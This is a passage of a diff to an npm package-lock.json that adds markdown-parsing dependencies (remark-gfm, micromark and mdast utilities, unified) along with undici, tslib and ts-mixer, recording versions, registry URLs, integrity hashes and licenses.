"mdast-util-find-and-replace": "^3.0.0", + "micromark-util-character": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-footnote": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-footnote/-/mdast-util-gfm-footnote-2.1.0.tgz", + "integrity": "sha512-sqpDWlsHn7Ac9GNZQMeUzPQSMzR6Wv0WKRNvQRg0KqHh02fpTz69Qc1QSseNX29bhz1ROIyNyxExfawVKTm1GQ==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "devlop": "^1.1.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-strikethrough": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-2.0.0.tgz", + "integrity": "sha512-mKKb915TF+OC5ptj5bJ7WFRPdYtuHv0yTRxK2tJvi+BDqbkiG7h7u/9SI89nRAYcmap2xHQL9D+QG/6wSrTtXg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-table": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-table/-/mdast-util-gfm-table-2.0.0.tgz", + "integrity": "sha512-78UEvebzz/rJIxLvE7ZtDd/vIQ0RHv+3Mh5DR96p7cS7HsBhYIICDBCu8csTNWNO6tBWfqXPWekRuj2FNOGOZg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "markdown-table": "^3.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-gfm-task-list-item": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-2.0.0.tgz", + "integrity": "sha512-IrtvNvjxC1o06taBAVJznEnkiHxLFTzgonUdy8hzFVeDun0uTjxxrRGVaNFqkU1wJR3RBPEfsxmU6jDWPofrTQ==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "mdast-util-from-markdown": "^2.0.0", + "mdast-util-to-markdown": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-phrasing": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/mdast-util-phrasing/-/mdast-util-phrasing-4.1.0.tgz", + "integrity": "sha512-TqICwyvJJpBwvGAMZjj4J2n0X8QWp21b9l0o7eXyVJ25YNWYbJDVIyD1bZXE6WtV6RmKJVYmQAKWa0zWOABz2w==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-markdown": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-2.1.2.tgz", + "integrity": "sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "@types/unist": "^3.0.0", + "longest-streak": "^3.0.0", + "mdast-util-phrasing": "^4.0.0", + "mdast-util-to-string": "^4.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-decode-string": "^2.0.0", + "unist-util-visit": "^5.0.0", + "zwitch": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-4.0.0.tgz", + "integrity": "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.2.tgz", + "integrity": "sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "@types/debug": "^4.0.0", + "debug": "^4.0.0", + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-combine-extensions": "^2.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-subtokenize": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-core-commonmark": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-2.0.3.tgz", + "integrity": "sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "micromark-factory-destination": "^2.0.0", + "micromark-factory-label": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-factory-title": "^2.0.0", + "micromark-factory-whitespace": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-html-tag-name": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-subtokenize": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-gfm": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm/-/micromark-extension-gfm-3.0.0.tgz", + "integrity": "sha512-vsKArQsicm7t0z2GugkCKtZehqUm31oeGBV/KVSorWSy8ZlNAv7ytjFhvaryUiCUJYqs+NoE6AFhpQvBTM6Q4w==", + "license": "MIT", + "dependencies": { + "micromark-extension-gfm-autolink-literal": "^2.0.0", + "micromark-extension-gfm-footnote": "^2.0.0", + "micromark-extension-gfm-strikethrough": "^2.0.0", + "micromark-extension-gfm-table": "^2.0.0", + "micromark-extension-gfm-tagfilter": "^2.0.0", + "micromark-extension-gfm-task-list-item": "^2.0.0", + "micromark-util-combine-extensions": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-autolink-literal": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-2.1.0.tgz", + "integrity": "sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw==", + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-footnote": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-footnote/-/micromark-extension-gfm-footnote-2.1.0.tgz", + "integrity": "sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-strikethrough": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-2.1.0.tgz", + "integrity": "sha512-ADVjpOOkjz1hhkZLlBiYA9cR2Anf8F4HqZUO6e5eDcPQd0Txw5fxLzzxnEkSkfnD0wziSGiv7sYhk/ktvbf1uw==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-table": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-2.1.1.tgz", + "integrity": "sha512-t2OU/dXXioARrC6yWfJ4hqB7rct14e8f7m0cbI5hUmDyyIlwv5vEtooptH8INkbLzOatzKuVbQmAYcbWoyz6Dg==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-tagfilter": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-2.0.0.tgz", + "integrity": "sha512-xHlTOmuCSotIA8TW1mDIM6X2O1SiX5P9IuDtqGonFhEK0qgRI4yeC6vMxEV2dgyr2TiD+2PQ10o+cOhdVAcwfg==", + "license": "MIT", + "dependencies": { + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-task-list-item": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-2.1.0.tgz", + "integrity": "sha512-qIBZhqxqI6fjLDYFTBIa4eivDMnP+OZqsNwmQ3xNLE4Cxwc+zfQEfbs6tzAo2Hjq+bh6q5F+Z8/cksrLFYWQQw==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-factory-destination": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-2.0.1.tgz", + "integrity": "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-label": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-2.0.1.tgz", + "integrity": "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-space": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-title": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-2.0.1.tgz", + "integrity": "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-whitespace": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-2.0.1.tgz", + "integrity": "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-character": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/micromark-util-character/-/micromark-util-character-2.1.1.tgz", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-chunked": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-chunked/-/micromark-util-chunked-2.0.1.tgz", + "integrity": "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-classify-character": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-classify-character/-/micromark-util-classify-character-2.0.1.tgz", + "integrity": "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-combine-extensions": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-combine-extensions/-/micromark-util-combine-extensions-2.0.1.tgz", + "integrity": "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-chunked": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-numeric-character-reference": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-2.0.2.tgz", + "integrity": "sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-string": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-2.0.1.tgz", + "integrity": "sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-encode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.1.tgz", + "integrity": "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-html-tag-name": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-2.0.1.tgz", + "integrity": "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-normalize-identifier": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-2.0.1.tgz", + "integrity": "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-resolve-all": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-2.0.1.tgz", + "integrity": "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-sanitize-uri": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-2.0.1.tgz", + "integrity": "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-subtokenize": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-2.1.0.tgz", + "integrity": "sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-symbol": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-2.0.1.tgz", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-types": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.2.tgz", + "integrity": "sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, "node_modules/mimic-response": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", @@ -2448,7 +3658,6 @@ "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "dev": true, "license": "MIT" }, "node_modules/nanoid": { @@ -2755,6 +3964,61 @@ "node": ">= 6" } }, + "node_modules/remark-gfm": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/remark-gfm/-/remark-gfm-4.0.1.tgz", + "integrity": "sha512-1quofZ2RQ9EWdeN34S79+KExV1764+wCUGop5CPL1WGdD0ocPpu91lzPGbwWMECpEpd42kJGQwzRfyov9j4yNg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-gfm": "^3.0.0", + "micromark-extension-gfm": "^3.0.0", + "remark-parse": "^11.0.0", + "remark-stringify": "^11.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-parse": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-11.0.0.tgz", + "integrity": "sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-from-markdown": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-stringify": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-11.0.0.tgz", + "integrity": "sha512-1OSmLd3awB/t8qdoEOMazZkNsfVTeY4fTsgzcQFdXNq8ToTN4ZGwrMnlda4K6smTFKD+GRV6O48i6Z4iKgPPpw==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-to-markdown": "^2.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remend": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/remend/-/remend-1.3.0.tgz", + "integrity": "sha512-iIhggPkhW3hFImKtB10w0dz4EZbs28mV/dmbcYVonWEJ6UGHHpP+bFZnTh6GNWJONg5m+U56JrL+8IxZRdgWjw==", + "license": "Apache-2.0" + }, "node_modules/resolve-from": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", @@ -3042,6 +4306,16 @@ "node": ">=14.0.0" } }, + "node_modules/trough": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz", + "integrity": "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/ts-api-utils": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz", @@ -3054,6 +4328,18 @@ "typescript": ">=4.8.4" } }, + "node_modules/ts-mixer": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/ts-mixer/-/ts-mixer-6.0.4.tgz", + "integrity": "sha512-ufKpbmrugz5Aou4wcr5Wc1UUFWOLhq+Fm6qa6P0w0K5Qw2yhaUoiWszhCVuNQyNwrlGiscHOmqYoAox1PtvgjA==", + "license": "MIT" + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, "node_modules/tsx": { "version": "4.21.0", "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.21.0.tgz", @@ -3135,13 +4421,95 @@ "typescript": ">=4.8.4 <6.0.0" } }, + "node_modules/undici": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/undici/-/undici-6.24.1.tgz", + "integrity": "sha512-sC+b0tB1whOCzbtlx20fx3WgCXwkW627p4EA9uM+/tNNPkSS+eSEld6pAs9nDv7WbY1UUljBMYPtu9BCOrCWKA==", + "license": "MIT", + "engines": { + "node": ">=18.17" + } + }, "node_modules/undici-types": { "version": "6.21.0", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", - "dev": true, "license": "MIT" }, + "node_modules/unified": { + "version": "11.0.5", + "resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz", + "integrity": "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "bail": "^2.0.0", + "devlop": "^1.0.0", + "extend": "^3.0.0", + "is-plain-obj": "^4.0.0", + "trough": "^2.0.0", + "vfile": 